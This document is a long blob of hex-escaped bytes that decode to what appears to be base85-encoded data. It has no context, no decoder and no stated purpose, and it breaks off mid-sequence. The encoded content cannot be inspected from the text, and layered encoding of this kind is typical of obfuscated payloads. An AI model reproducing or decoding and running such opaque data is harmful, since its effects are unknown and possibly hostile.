\x47\x41\x74\x6c\x35\x47\x26\x64\x7c\x44\x46\x2a\x68\x5f\x55\x41\x54\x63\x2a\x41\x41\x54\x6c\x26\x38\x41\x54\x6c\x76\x44\x45\x46\x64\x76\x38\x48\x21\x4c\x37\x41\x49\x57\x52\x30\x42\x46\x29\x25\x59\x4d\x41\x54\x63\x23\x48\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x41\x47\x63\x5f\x7a\x41\x48\x37\x70\x3d\x38\x49\x34\x6d\x47\x42\x49\x35\x7b\x6a\x4a\x47\x42\x68\x7c\x57\x41\x54\x63\x76\x45\x45\x46\x64\x2a\x39\x45\x46\x64\x76\x38\x49\x34\x6d\x47\x42\x46\x2a\x37\x56\x36\x47\x63\x59\x56\x35\x47\x41\x74\x6c\x36\x46\x29\x53\x63\x38\x47\x25\x4f\x25\x37\x48\x23\x39\x36\x44\x46\x2a\x37\x6e\x4f\x41\x54\x63\x70\x45\x45\x46\x64\x76\x43\x48\x21\x4c\x37\x41\x47\x26\x77\x39\x46\x47\x26\x77\x39\x46\x46\x29\x7d\x71\x51\x41\x54\x63\x76\x36\x41\x54\x63\x3e\x43\x41\x54\x6c\x2a\x46\x45\x46\x64\x76\x37\x49\x34\x6d\x47\x42\x46\x2a\x7a\x28\x43\x46\x2a\x72\x36\x58\x41\x55\x47\x40\x5f\x47\x42\x71\x3f\x54\x41\x54\x3d\x3e\x38\x41\x54\x63\x79\x37\x41\x54\x63\x76\x48\x45\x46\x64\x79\x38\x49\x56\x3e\x50\x46\x48\x21\x4c\x37\x47\x47\x41\x74\x6c\x36\x47\x64\x4c\x5f\x44\x47\x42\x50\x6b\x4d\x41\x54\x63\x3e\x48\x45\x46\x64\x76\x34\x48\x59\x5e\x7d\x39\x47\x26\x77\x39\x46\x46\x2a\x21\x49\x61\x41\x54\x6c\x26\x44\x45\x46\x64\x5e\x43\x45\x46\x64\x76\x35\x48\x59\x5e\x7d\x39\x47\x63\x5f\x7a\x41\x46\x2a\x21\x49\x61\x41\x54\x6c\x73\x38\x45\x46\x64\x76\x34\x49\x34\x6d\x47\x42\x49\x35\x73\x52\x47\x46\x29\x25\x50\x4a\x41\x54\x3e\x42\x46\x41\x54\x7e\x42\x45\x41\x54\x75\x79\x35\x41\x54\x63\x73\x35\x41\x54\x63\x76\x49\x45\x46\x64\x76\x38\x48\x21\x4c\x37\x44\x46\x29\x53\x63\x34\x48\x61\x49\x4c\x47\x46\x2a\x69\x33\x58\x41\x54\x63\x70\x42\x45\x46\x64\x26\x44\x45\x46\x64\x76\x33\x48\x37\x70\x3d\x43\x48\x37\x70\x3d\x39\x47\x42\x71\x71\x39\x47\x42\x37\x68\x4e\x41\x54\x63\x3e\x43\x41\x54\x63\x23\x4b\x45\x46\x64\x76\x41\x45\x46\x64\x76\x39\x48\x37\x70\x3d\x38\x46\x2a\x7a\x28\x43\x48\x38\x64\x3c\x42\x46\x2a\x68\x3f\x54\x41\x54\x6c\x23\x43\x45\x46\x64\x76\x34\x48\x21\x4c\x37\x48\x47\x41\x74\x6c\x36\x46\x29\x3d\x4a\x34\x46\x2a\x37\x74\x51\x41\x54\x63\x76\x41\x45\x46\x64\x3b\x38\x45\x46\x64\x79\x38\x48\x21\x4c\x37\x41\x48\x23\x30\x30\x43\x47\x42\x71\x3c\x53\x41\x54\x75\x6c\x3d\x46\x2a\x71\x7a\x42\x46\x2a\x72\x46\x61\x41\x54\x6c\x2a\x49\x45\x46\x64\x79\x35\x46\x29\x53\x63\x41\x48\x37\x70\x3d\x38\x48\x5a\x55\x77\x38\x47\x42\x47\x53\x35\x49\x35\x38\x7c\x42\x46\x29\x25\x56\x4c\x41\x55\x51\x51\x47\x41\x55\x51\x45\x43\x41\x54\x6c\x23\x4b\x45\x46\x64\x76\x37\x47\x25\x4f\x25\x42\x48\x59\x5e\x7d\x39\x49\x58\x35\x67\x49\x46\x2a\x47\x3f\x57\x41\x54\x63\x6d\x44\x45\x46\x64\x76\x35\x46\x66\x31\x54\x33\x47\x62\x7c\x75\x36\x49\x56\x3e\x50\x44\x48\x38\x43\x74\x38\x46\x2a\x21\x49\x61\x41\x54\x63\x70\x48\x45\x46\x64\x76\x42\x48\x59\x5e\x7d\x39\x46\x66\x31\x54\x34\x47\x25\x2b\x6b\x37\x47\x42\x2b\x24\x42\x47\x25\x5f\x71\x38\x47\x42\x37\x59\x4b\x41\x54\x63\x2a\x4a\x45\x46\x64\x76\x41\x45\x46\x64\x79\x38\x45\x46\x64\x76\x36\x49\x56\x3e\x50\x43\x48\x38\x28\x36\x45\x47\x42\x59\x2b\x54\x41\x54\x6c\x26\x38\x41\x54\x63\x26\x4d\x45\x46\x64\x76\x41\x48\x59\x5e\x7d\x41\x46\x66\x63\x34\x32\x47\x25\x5f\x71\x38\x46\x2a\x71\x7a\x42\x46\x2a\x72\x46\x61\x41\x54\x63\x2a\x46\x45\x46\x64\x76\x35\x49\x56\x3e\x50\x49\x48\x37\x70\x3d\x38\x48\x5a\x55\x77\x38\x47\x42\x47\x53\x35\x47\x41\x74\x6c\x35\x46\x66\x75\x47\x34\x49\x57\x3b\x55\x47\x49\x56\x3e\x50\x44\x47\x64\x4c\x5f\x44\x46\x2a\x72\x33\x57\x41\x54\x63\x6d\x42\x45\x46\x64\x79\x39\x46\x29\x53\x63\x35\x46\x2a\x68\x74\x41\x49\x35\x6a\x4c\x46\x48\x38\x55\x28\x41\x49\x57\x7b\x61\x48\x46\x29\x25\x44\x33\x46\x2a\x21\x46\x5a\x41\x54\x63\x76\x49\x45\x46\x64\x3e\x47\x45\x46\x64\x79\x38\x46\x66\x31\x54\x37\x47\x62\x7c\x75\x36\x49\x57\x61\x36\x43\x47\x64\x4c\x5f\x44\x47\x26\x6e\x33\x45\x46\x2a\x68\x3f\x54\x41\x54\x6c\x23\x43\x45\x46\x64\x26\x43\x45\x46\x64\x23\x31\x41\x54\x6c\x23\x4a\x45\x46\x64\x79\x36\x46\x66\x31\x54\x34\x47\x63\x68\x62\x36\x46\x29\x3d\x71\x52\x41\x54\x63\x23\x48\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x41\x47\x63\x5f\x7a\x41\x47\x41\x74\x6c\x35\x47\x42\x50\x59\x36\x47\x42\x59\x74\x4f\x41\x54\x63\x2a\x45\x45\x46\x64\x79\x37\x48\x59\x5e\x7d\x39\x46\x29\x3d\x4a\x34\x46\x2a\x72\x39\x59\x41\x55\x38\x4e\x48\x41\x54\x3e\x42\x46\x41\x54\x7e\x42\x45\x41\x54\x7e\x48\x47\x41\x55\x48\x54\x49\x41\x54\x63\x23\x44\x45\x46\x64\x76\x38\x46\x29\x53\x63\x41\x48\x59\x5e\x7d\x41\x47\x42\x71\x71\x39\x46\x2a\x37\x7a\x53\x41\x54\x7d\x7b\x39\x41\x54\x63\x2a\x41\x41\x54\x25\x2a\x37\x41\x55\x50\x7d\x60\x46\x2a\x68\x5f\x55\x41\x54\x6c\x73\x42\x45\x46\x64\x76\x34\x49\x56\x3e\x50\x43\x49\x35\x73\x52\x47\x46\x29\x3d\x4a\x34\x47\x42\x68\x2b\x53\x41\x54\x6c\x3e\x42\x41\x54\x25\x3b\x38\x41\x54\x63\x79\x4b\x45\x46\x64\x79\x39\x47\x62\x7c\x75\x37\x48\x21\x4c\x37\x46\x46\x66\x31\x54\x34\x46\x66\x75\x47\x34\x46\x2a\x50\x3c\x55\x41\x54\x63\x3b\x4e\x45\x46\x64\x23\x37\x45\x46\x64\x76\x38\x48\x37\x70\x3d\x39\x47\x42\x7a\x77\x41\x47\x42\x59\x77\x50\x41\x55\x48\x45\x44\x41\x54\x63\x3b\x42\x41\x54\x63\x3b\x4f\x45\x46\x64\x79\x39\x47\x25\x4f\x25\x38\x46\x29\x25\x44\x33\x48\x23\x49\x43\x45\x46\x2a\x59\x7a\x50\x41\x54\x6c\x73\x34\x41\x55\x48\x4b\x46\x41\x54\x63\x6d\x39\x45\x46\x64\x7b\x47\x45\x46\x64\x76\x38\x45\x46\x64\x76\x42\x47\x62\x7c\x75\x36\x49\x35\x6a\x4c\x46\x46\x29\x25\x62\x4e\x41\x54\x63\x26\x45\x45\x46\x64\x76\x36\x49\x56\x3e\x50\x49\x47\x25\x4f\x25\x37\x48\x21\x4c\x37\x44\x46\x29\x53\x63\x42\x47\x62\x7c\x75\x36\x48\x61\x52\x52\x48\x46\x2a\x68\x5f\x55\x41\x55\x48\x45\x44\x41\x54\x63\x26\x4a\x45\x46\x64\x76\x38\x45\x46\x64\x76\x41\x48\x37\x70\x3d\x39\x48\x21\x4c\x37\x44\x47\x41\x74\x6c\x35\x47\x26\x77\x39\x46\x46\x2a\x68\x5f\x55\x41\x54\x26\x35\x45\x41\x54\x7d\x5e\x38\x41\x54\x6c\x73\x41\x45\x46\x64\x76\x37\x49\x34\x6d\x47\x43\x47\x64\x4c\x5f\x44\x46\x29\x7d\x50\x35\x46\x2a\x50\x2b\x54\x41\x54\x6c\x79\x47\x45\x46\x64\x76\x41\x48\x21\x4c\x37\x48\x47\x62\x7c\x75\x36\x49\x34\x6d\x47\x42\x49\x35\x7b\x6a\x4a\x47\x42\x71\x5f\x55\x41\x54\x63\x76\x42\x45\x46\x64\x23\x44\x45\x46\x64\x79\x36\x47\x25\x4f\x25\x37\x47\x42\x7a\x77\x41\x48\x38\x3f\x43\x46\x48\x61\x30\x39\x45\x48\x61\x49\x4c\x47\x49\x57\x3b\x55\x47\x46\x2a\x71\x7c\x55\x41\x54\x63\x3b\x4b\x45\x46\x64\x76\x33\x46\x66\x31\x54\x33\x49\x35\x7b\x6a\x4a\x46\x2a\x69\x33\x58\x41\x54\x63\x70\x42\x45\x46\x64\x76\x34\x48\x21\x4c\x37\x41\x46\x66\x3d\x53\x36\x48\x38\x6d\x5f\x43\x47\x42\x50\x7a\x52\x41\x54\x6c\x73\x41\x45\x46\x64\x79\x44\x45\x46\x64\x76\x41\x46\x66\x31\x54\x37\x47\x62\x7c\x75\x36\x49\x57\x61\x36\x43\x47\x64\x4c\x5f\x44\x46\x29\x25\x56\x4c\x41\x54\x63\x2a\x48\x45\x46\x64\x79\x37\x46\x29\x53\x63\x34\x46\x2a\x59\x6e\x39\x49\x35\x52\x39\x44\x47\x42\x59\x3f\x56\x41\x54\x6c\x79\x41\x45\x46\x64\x76\x42\x48\x59\x5e\x7d\x42\x49\x56\x3e\x50\x44\x47\x64\x43\x3c\x43\x46\x2a\x21\x49\x61\x41\x54\x6c\x26\x44\x45\x46\x64\x3e\x35\x41\x54\x63\x70\x47\x45\x46\x64\x79\x37\x48\x59\x5e\x7d\x39\x49\x58\x45\x6d\x4a\x47\x42\x37\x59\x4b\x41\x54\x63\x70\x45\x45\x46\x64\x76\x42\x48\x37\x70\x3d\x38\x46\x66\x63\x34\x32\x48\x38\x3f\x43\x46\x48\x61\x30\x39\x45\x47\x63\x68\x62\x36\x49\x35\x3b\x64\x49\x46\x2a\x37\x28\x55\x41\x54\x63\x23\x4a\x45\x46\x64\x23\x37\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x37\x47\x42\x5f\x2b\x43\x49\x35\x6a\x4c\x46\x48\x38\x55\x28\x41\x46\x29\x25\x65\x4f\x41\x55\x48\x54\x49\x41\x54\x6c\x76\x41\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x45\x47\x62\x7c\x75\x37\x48\x38\x33\x6e\x37\x46\x29\x25\x44\x33\x46\x2a\x50\x2b\x54\x41\x54\x7e\x32\x42\x41\x54\x26\x38\x46\x41\x54\x63\x3e\x4a\x45\x46\x64\x76\x43\x48\x37\x70\x3d\x43\x47\x62\x7c\x75\x36\x45\x46\x64\x79\x34\x49\x56\x3e\x50\x44\x47\x26\x6e\x33\x45\x46\x2a\x59\x5f\x56\x41\x54\x76\x32\x45\x41\x54\x6c\x2a\x49\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x41\x46\x67\x47\x6b\x39\x48\x5a\x76\x3f\x42\x48\x38\x64\x3c\x42\x47\x42\x71\x3c\x53\x41\x54\x63\x2a\x47\x45\x46\x64\x79\x37\x48\x59\x5e\x7d\x39\x46\x29\x3d\x4a\x34\x46\x2a\x72\x36\x58\x41\x54\x6c\x73\x34\x41\x55\x48\x45\x44\x41\x54\x63\x6d\x39\x45\x46\x64\x7b\x47\x45\x46\x64\x7b\x43\x45\x46\x64\x79\x37\x49\x34\x6d\x47\x42\x49\x35\x61\x46\x45\x47\x26\x33\x77\x39\x47\x42\x59\x3f\x56\x41\x54\x63\x3e\x48\x45\x46\x64\x5e\x46\x45\x46\x64\x2a\x41\x45\x46\x64\x2a\x38\x45\x46\x64\x76\x38\x45\x46\x64\x79\x36\x49\x34\x6d\x47\x42\x49\x57\x3b\x55\x47\x46\x29\x3d\x77\x54\x41\x54\x63\x3b\x4c\x45\x46\x64\x5e\x4a\x45\x46\x64\x76\x39\x48\x37\x70\x3d\x39\x48\x21\x4c\x37\x44\x47\x41\x74\x6c\x36\x46\x66\x6c\x41\x33\x46\x2a\x68\x28\x51\x41\x54\x63\x2a\x41\x41\x54\x6c\x26\x38\x41\x54\x6c\x76\x45\x45\x46\x64\x76\x38\x46\x29\x53\x63\x34\x47\x63\x59\x56\x35\x48\x5a\x55\x77\x38\x46\x2a\x59\x24\x51\x41\x54\x6c\x2a\x49\x45\x46\x64\x79\x39\x47\x41\x74\x6c\x35\x48\x59\x5e\x7d\x48\x48\x21\x4c\x37\x41\x48\x38\x55\x28\x41\x47\x42\x50\x24\x53\x41\x54\x6c\x76\x44\x45\x46\x64\x23\x37\x45\x46\x64\x76\x36\x47\x62\x7c\x75\x37\x48\x21\x4c\x37\x43\x49\x34\x6d\x47\x48\x48\x59\x5e\x7d\x39\x47\x42\x59\x65\x37\x46\x2a\x71\x7a\x42\x46\x2a\x71\x7c\x55\x41\x54\x6c\x76\x41\x45\x46\x64\x5e\x41\x45\x46\x64\x76\x43\x48\x21\x4c\x37\x41\x47\x26\x77\x39\x46\x46\x29\x25\x6b\x51\x41\x54\x63\x73\x45\x45\x46\x64\x76\x36\x45\x46\x64\x76\x43\x45\x46\x64\x76\x39\x49\x56\x3e\x50\x43\x49\x57\x6a\x43\x44\x46\x29\x3d\x77\x54\x41\x54\x63\x3b\x4c\x45\x46\x64\x76\x35\x45\x46\x64\x79\x38\x46\x66\x31\x54\x34\x48\x21\x4c\x37\x44\x47\x41\x74\x6c\x35\x47\x26\x77\x39\x46\x46\x2a\x59\x7c\x57\x41\x54\x63\x2a\x41\x41\x54\x6c\x26\x38\x41\x54\x6c\x73\x47\x45\x46\x64\x76\x37\x48\x59\x5e\x7d\x39\x47\x63\x59\x56\x35\x48\x5a\x55\x77\x38\x47\x42\x71\x5f\x55\x41\x54\x6c\x2a\x45\x45\x46\x64\x79\x35\x47\x62\x7c\x75\x37\x48\x21\x4c\x37\x44\x47\x25\x4f\x25\x38\x47\x25\x5f\x71\x38\x47\x42\x37\x77\x53\x41\x54\x6c\x26\x44\x45\x46\x64\x3e\x49\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x43\x48\x37\x70\x3d\x45\x45\x46\x64\x7b\x46\x45\x46\x64\x76\x33\x45\x46\x64\x76\x33\x45\x46\x64\x76\x36\x49\x34\x6d\x47\x42\x48\x38\x28\x36\x45\x46\x29\x3d\x6b\x50\x41\x54\x63\x26\x4d\x45\x46\x64\x76\x41\x48\x21\x4c\x37\x41\x46\x2a\x37\x56\x36\x47\x26\x55\x3f\x43\x46\x29\x25\x62\x4e\x41\x54\x3e\x32\x43\x41\x54\x6c\x79\x46\x45\x46\x64\x76\x43\x48\x37\x70\x3d\x45\x49\x56\x3e\x50\x43\x48\x38\x3f\x43\x46\x46\x2a\x68\x74\x41\x47\x42\x68\x5f\x56\x41\x54\x63\x70\x41\x45\x46\x64\x76\x37\x45\x46\x64\x76\x36\x48\x21\x4c\x37\x42\x48\x38\x55\x28\x41\x46\x29\x7d\x74\x52\x41\x54\x7d\x5e\x38\x41\x54\x6c\x73\x41\x45\x46\x64\x76\x43\x49\x56\x3e\x50\x44\x47\x64\x56\x30\x45\x47\x42\x68\x6b\x38\x46\x2a\x7a\x7c\x54\x41\x54\x6c\x26\x4c\x45\x46\x64\x76\x42\x48\x37\x70\x3d\x44\x47\x62\x7c\x75\x41\x47\x25\x4f\x25\x37\x48\x61\x30\x39\x45\x46\x2a\x59\x2b\x53\x41\x54\x6c\x23\x48\x45\x46\x64\x76\x34\x46\x29\x53\x63\x35\x47\x42\x68\x6b\x38\x47\x42\x37\x4d\x34\x48\x38\x3f\x43\x46\x48\x61\x30\x39\x45\x47\x63\x68\x62\x36\x46\x29\x7d\x50\x35\x46\x2a\x37\x28\x55\x41\x54\x63\x23\x4a\x45\x46\x64\x23\x38\x45\x46\x64\x76\x39\x46\x29\x53\x63\x34\x49\x35\x52\x39\x44\x48\x23\x39\x36\x44\x46\x2a\x68\x74\x41\x47\x25\x2b\x6b\x37\x49\x35\x52\x39\x44\x46\x2a\x68\x5f\x55\x41\x54\x63\x2a\x49\x45\x46\x64\x5e\x44\x45\x46\x64\x76\x39\x47\x62\x7c\x75\x44\x45\x46\x64\x76\x38\x48\x37\x70\x3d\x44\x47\x62\x7c\x75\x41\x47\x25\x4f\x25\x37\x47\x26\x64\x7c\x44\x46\x2a\x21\x39\x58\x41\x54\x3d\x7b\x41\x41\x55\x48\x38\x42\x41\x54\x63\x76\x46\x45\x46\x64\x79\x38\x49\x34\x6d\x47\x42\x48\x61\x30\x39\x45\x46\x29\x3d\x71\x52\x41\x54\x6c\x26\x46\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x43\x47\x25\x2b\x6b\x37\x48\x59\x5e\x7d\x39\x47\x42\x59\x65\x37\x47\x42\x68\x24\x51\x41\x54\x63\x3e\x4f\x45\x46\x64\x79\x34\x46\x66\x31\x54\x33\x46\x2a\x47\x62\x37\x46\x2a\x7a\x5f\x53\x41\x54\x63\x70\x42\x45\x46\x64\x23\x35\x45\x46\x64\x7b\x47\x45\x46\x64\x79\x35\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x38\x46\x2a\x37\x56\x36\x47\x64\x43\x3c\x43\x47\x42\x50\x74\x50\x41\x54\x63\x2a\x4c\x45\x46\x64\x76\x34\x47\x62\x7c\x75\x39\x47\x25\x4f\x25\x42\x48\x37\x70\x3d\x38\x48\x37\x70\x3d\x38\x49\x58\x35\x67\x49\x46\x2a\x37\x28\x55\x41\x54\x63\x3b\x42\x41\x54\x6c\x26\x47\x45\x46\x64\x5e\x47\x45\x46\x64\x76\x38\x48\x37\x70\x3d\x44\x47\x62\x7c\x75\x36\x46\x67\x37\x65\x38\x47\x42\x37\x59\x4b\x41\x54\x63\x3e\x4c\x45\x46\x64\x2a\x41\x45\x46\x64\x75\x7e\x41\x54\x63\x76\x4a\x45\x46\x64\x79\x34\x48\x59\x5e\x7d\x41\x48\x38\x33\x6e\x37\x47\x42\x68\x6b\x38\x46\x2a\x7a\x7c\x54\x41\x54\x63\x26\x46\x45\x46\x64\x79\x37\x48\x21\x4c\x37\x44\x48\x59\x5e\x7d\x43\x47\x25\x4f\x25\x37\x48\x38\x55\x28\x41\x47\x42\x50\x24\x53\x41\x54\x63\x76\x48\x45\x46\x64\x23\x42\x45\x46\x64\x79\x38\x47\x25\x4f\x25\x37\x46\x2a\x37\x56\x36\x47\x63\x59\x56\x35\x49\x57\x3b\x55\x47\x47\x42\x59\x65\x37\x48\x38\x64\x3c\x42\x46\x2a\x68\x5f\x55\x41\x54\x63\x76\x42\x45\x46\x64\x76\x34\x47\x62\x7c\x75\x36\x49\x58\x35\x67\x49\x46\x2a\x47\x3f\x57\x41\x54\x26\x35\x45\x41\x54\x63\x73\x43\x45\x46\x64\x76\x36\x45\x46\x64\x76\x43\x45\x46\x64\x79\x38\x49\x34\x6d\x47\x42\x49\x57\x6a\x43\x44\x46\x29\x3d\x77\x54\x41\x54\x63\x3b\x4c\x45\x46\x64\x5e\x42\x45\x46\x64\x79\x39\x47\x25\x4f\x25\x38\x48\x21\x4c\x37\x46\x46\x66\x31\x54\x34\x47\x42\x50\x59\x36\x46\x2a\x21\x39\x58\x41\x54\x3d\x7b\x41\x41\x55\x48\x57\x4a\x41\x54\x63\x76\x49\x45\x46\x64\x79\x38\x49\x34\x6d\x47\x42\x48\x61\x30\x39\x45\x46\x29\x7d\x6e\x50\x41\x54\x6c\x2a\x48\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x43\x47\x25\x2b\x6b\x37\x49\x57\x61\x36\x43\x46\x29\x7d\x62\x4c\x41\x54\x63\x2a\x4a\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x43\x46\x66\x63\x34\x32\x46\x29\x3d\x71\x52\x41\x54\x63\x3b\x4b\x45\x46\x64\x79\x36\x45\x46\x64\x2a\x46\x45\x46\x64\x3b\x45\x45\x46\x64\x3e\x39\x45\x46\x64\x5e\x4a\x45\x46\x64\x79\x39\x46\x66\x31\x54\x33\x47\x63\x5f\x7a\x41\x48\x23\x52\x49\x46\x47\x42\x50\x7a\x52\x41\x54\x63\x79\x44\x45\x46\x64\x76\x33\x49\x56\x3e\x50\x43\x48\x21\x4c\x37\x44\x46\x29\x53\x63\x43\x45\x46\x64\x76\x39\x46\x66\x31\x54\x33\x48\x23\x39\x36\x44\x49\x35\x52\x39\x44\x46\x2a\x59\x2b\x53\x41\x55\x48\x54\x49\x41\x54\x63\x23\x48\x45\x46\x64\x3b\x42\x45\x46\x64\x76\x33\x48\x59\x5e\x7d\x39\x49\x58\x45\x6d\x4a\x46\x2a\x68\x7c\x56\x41\x54\x63\x2a\x41\x41\x54\x6c\x26\x38\x41\x54\x6c\x73\x48\x45\x46\x64\x76\x43\x49\x56\x3e\x50\x43\x47\x63\x59\x56\x35\x48\x5a\x55\x77\x38\x46\x2a\x59\x24\x51\x41\x54\x63\x26\x47\x45\x46\x64\x79\x36\x47\x41\x74\x6c\x41\x47\x62\x7c\x75\x41\x47\x25\x4f\x25\x37\x48\x5a\x26\x7c\x43\x47\x42\x69\x30\x58\x41\x54\x6c\x23\x48\x45\x46\x64\x76\x34\x46\x29\x53\x63\x34\x49\x35\x6a\x4c\x46\x47\x42\x71\x71\x39\x48\x38\x3f\x43\x46\x48\x61\x30\x39\x45\x48\x61\x39\x46\x46\x49\x35\x52\x39\x44\x46\x2a\x37\x28\x55\x41\x54\x63\x23\x4a\x45\x46\x64\x76\x34\x47\x62\x7c\x75\x36\x48\x5a\x64\x24\x39\x46\x2a\x68\x28\x51\x41\x54\x63\x6d\x45\x45\x46\x64\x79\x42\x45\x46\x64\x7b\x48\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x43\x48\x21\x4c\x37\x41\x47\x64\x4c\x5f\x44\x47\x42\x2b\x24\x42\x47\x42\x68\x24\x51\x41\x54\x6c\x3b\x41\x41\x54\x63\x23\x48\x45\x46\x64\x3b\x42\x45\x46\x64\x26\x45\x45\x46\x64\x76\x37\x47\x25\x4f\x25\x37\x49\x57\x3b\x55\x47\x48\x38\x55\x28\x41\x48\x59\x5e\x7d\x39\x47\x42\x5f\x2b\x43\x47\x42\x71\x24\x50\x41\x54\x63\x76\x41\x45\x46\x64\x3b\x38\x45\x46\x64\x79\x39\x48\x37\x70\x3d\x38\x48\x5a\x76\x3f\x42\x47\x42\x47\x6e\x4f\x41\x54\x6c\x3e\x42\x41\x54\x25\x26\x36\x41\x54\x6c\x26\x4a\x45\x46\x64\x76\x43\x48\x59\x5e\x7d\x41\x46\x66\x7d\x59\x37\x48\x23\x49\x43\x45\x46\x2a\x59\x7a\x50\x41\x55\x38\x4e\x48\x41\x54\x54\x54\x2d\x46\x29\x7d\x77\x53\x41\x54\x63\x70\x41\x45\x46\x64\x79\x39\x45\x46\x64\x76\x36\x49\x34\x6d\x47\x42\x47\x26\x4c\x2b\x42\x46\x29\x25\x50\x4a\x41\x54\x63\x3e\x4e\x45\x46\x64\x76\x37\x49\x56\x3e\x50\x43\x46\x67\x37\x65\x38\x47\x26\x55\x3f\x43\x46\x2a\x37\x56\x36\x46\x2a\x7a\x28\x43\x47\x42\x71\x3c\x53\x41\x54\x63\x3e\x4d\x45\x46\x64\x76\x34\x49\x56\x3e\x50\x43\x49\x35\x73\x52\x47\x49\x35\x7b\x6a\x4a\x46\x2a\x59\x3c\x54\x41\x54\x63\x6d\x42\x45\x46\x64\x76\x37\x45\x46\x64\x76\x36\x48\x21\x4c\x37\x42\x48\x38\x43\x74\x38\x46\x29\x3d\x6e\x51\x41\x54\x7d\x5e\x38\x41\x54\x6c\x73\x41\x45\x46\x64\x76\x43\x48\x21\x4c\x37\x42\x47\x63\x2b\x74\x39\x47\x42\x68\x6b\x38\x46\x2a\x7a\x7c\x54\x41\x54\x6c\x26\x4c\x45\x46\x64\x79\x37\x48\x59\x5e\x7d\x45\x47\x62\x7c\x75\x41\x47\x25\x4f\x25\x37\x48\x5a\x55\x77\x38\x46\x2a\x68\x3c\x53\x41\x54\x6c\x23\x48\x45\x46\x64\x76\x34\x46\x29\x53\x63\x34\x49\x35\x3b\x64\x49\x48\x23\x49\x43\x45\x48\x38\x3f\x43\x46\x48\x61\x30\x39\x45\x46\x2a\x59\x6e\x39\x46\x29\x7d\x50\x35\x46\x2a\x37\x28\x55\x41\x54\x63\x23\x4a\x45\x46\x64\x76\x34\x49\x34\x6d\x47\x43\x48\x38\x4c\x7a\x39\x46\x2a\x69\x33\x58\x41\x54\x63\x70\x42\x45\x46\x64\x26\x43\x45\x46\x64\x76\x33\x47\x41\x74\x6c\x39\x48\x37\x70\x3d\x39\x47\x42\x71\x71\x39\x47\x42\x37\x68\x4e\x41\x55\x38\x4b\x47\x41\x54\x63\x23\x4b\x45\x46\x64\x76\x41\x45\x46\x64\x76\x39\x46\x29\x53\x63\x36\x47\x62\x7c\x75\x36\x47\x25\x4f\x25\x37\x47\x64\x43\x3c\x43\x46\x2a\x68\x5f\x55\x41\x54\x63\x73\x46\x45\x46\x64\x3b\x38\x45\x46\x64\x79\x34\x47\x41\x74\x6c\x35\x47\x26\x64\x7c\x44\x46\x2a\x72\x30\x56\x41\x54\x6c\x26\x38\x41\x54\x63\x3e\x48\x45\x46\x64\x79\x39\x47\x41\x74\x6c\x35\x49\x35\x3b\x64\x49\x48\x5a\x55\x77\x38\x46\x2a\x71\x7a\x42\x46\x2a\x72\x46\x61\x41\x54\x6c\x2a\x48\x45\x46\x64\x79\x35\x46\x29\x53\x63\x39\x47\x25\x4f\x25\x38\x47\x63\x68\x62\x36\x46\x29\x3d\x65\x4e\x41\x54\x75\x79\x35\x41\x55\x51\x48\x44\x41\x54\x7e\x48\x47\x41\x54\x3d\x7e\x42\x41\x54\x63\x2a\x49\x45\x46\x64\x76\x35\x49\x56\x3e\x50\x43\x46\x2a\x71\x7a\x42\x46\x2a\x21\x46\x5a\x41\x54\x63\x79\x4b\x45\x46\x64\x2a\x45\x45\x46\x64\x26\x39\x45\x46\x64\x76\x36\x45\x46\x64\x76\x43\x45\x46\x64\x79\x39\x48\x37\x70\x3d\x38\x47\x26\x6e\x33\x45\x46\x29\x3d\x77\x54\x41\x54\x63\x3b\x4c\x45\x46\x64\x76\x38\x45\x46\x64\x79\x38\x46\x29\x53\x63\x35\x48\x21\x4c\x37\x44\x47\x41\x74\x6c\x35\x47\x26\x6e\x33\x45\x46\x2a\x68\x5f\x55\x41\x54\x63\x2a\x41\x41\x54\x6c\x26\x38\x41\x54\x63\x76\x44\x45\x46\x64\x76\x43\x47\x25\x4f\x25\x37\x47\x63\x59\x56\x35\x48\x5a\x55\x77\x38\x46\x2a\x59\x5f\x56\x41\x54\x63\x26\x47\x45\x46\x64\x79\x35\x47\x62\x7c\x75\x37\x48\x21\x4c\x37\x44\x47\x25\x4f\x25\x38\x47\x26\x64\x7c\x44\x46\x2a\x21\x49\x61\x41\x54\x6c\x73\x38\x45\x46\x64\x26\x43\x45\x46\x64\x76\x42\x48\x59\x5e\x7d\x39\x46\x2a\x37\x56\x36\x47\x63\x59\x56\x35\x47\x62\x7c\x75\x42\x48\x37\x70\x3d\x43\x47\x25\x4f\x25\x37\x48\x23\x39\x36\x44\x46\x2a\x37\x6b\x4e\x41\x54\x63\x70\x47\x45\x46\x64\x76\x43\x48\x21\x4c\x37\x41\x47\x26\x77\x39\x46\x46\x29\x3d\x59\x4c\x41\x54\x26\x32\x44\x41\x54\x63\x76\x36\x41\x54\x63\x3e\x43\x41\x54\x6c\x2a\x45\x45\x46\x64\x76\x37\x47\x25\x4f\x25\x37\x46\x2a\x7a\x28\x43\x46\x2a\x72\x36\x58\x41\x54\x63\x23\x38\x41\x54\x6c\x26\x43\x45\x46\x64\x79\x42\x45\x46\x64\x26\x38\x45\x46\x64\x79\x34\x46\x29\x53\x63\x34\x48\x21\x3e\x5f\x42\x47\x64\x43\x3c\x43\x48\x5a\x55\x77\x38\x47\x42\x37\x65\x4d\x41\x54\x63\x3e\x4e\x45\x46\x64\x79\x37\x46\x29\x53\x63\x35\x47\x25\x4f\x25\x37\x49\x57\x61\x36\x43\x47\x42\x69\x30\x58\x41\x54\x6c\x23\x49\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x39\x47\x62\x7c\x75\x37\x48\x38\x4c\x7a\x39\x47\x42\x59\x2b\x54\x41\x54\x63\x70\x39\x45\x46\x64\x79\x37\x47\x41\x74\x6c\x36\x48\x59\x5e\x7d\x44\x49\x34\x6d\x47\x47\x48\x59\x5e\x7d\x42\x46\x66\x31\x54\x42\x46\x29\x53\x63\x34\x48\x39\x30\x49\x47\x46\x2a\x37\x24\x54\x41\x54\x75\x5e\x42\x41\x54\x6c\x23\x48\x45\x46\x64\x76\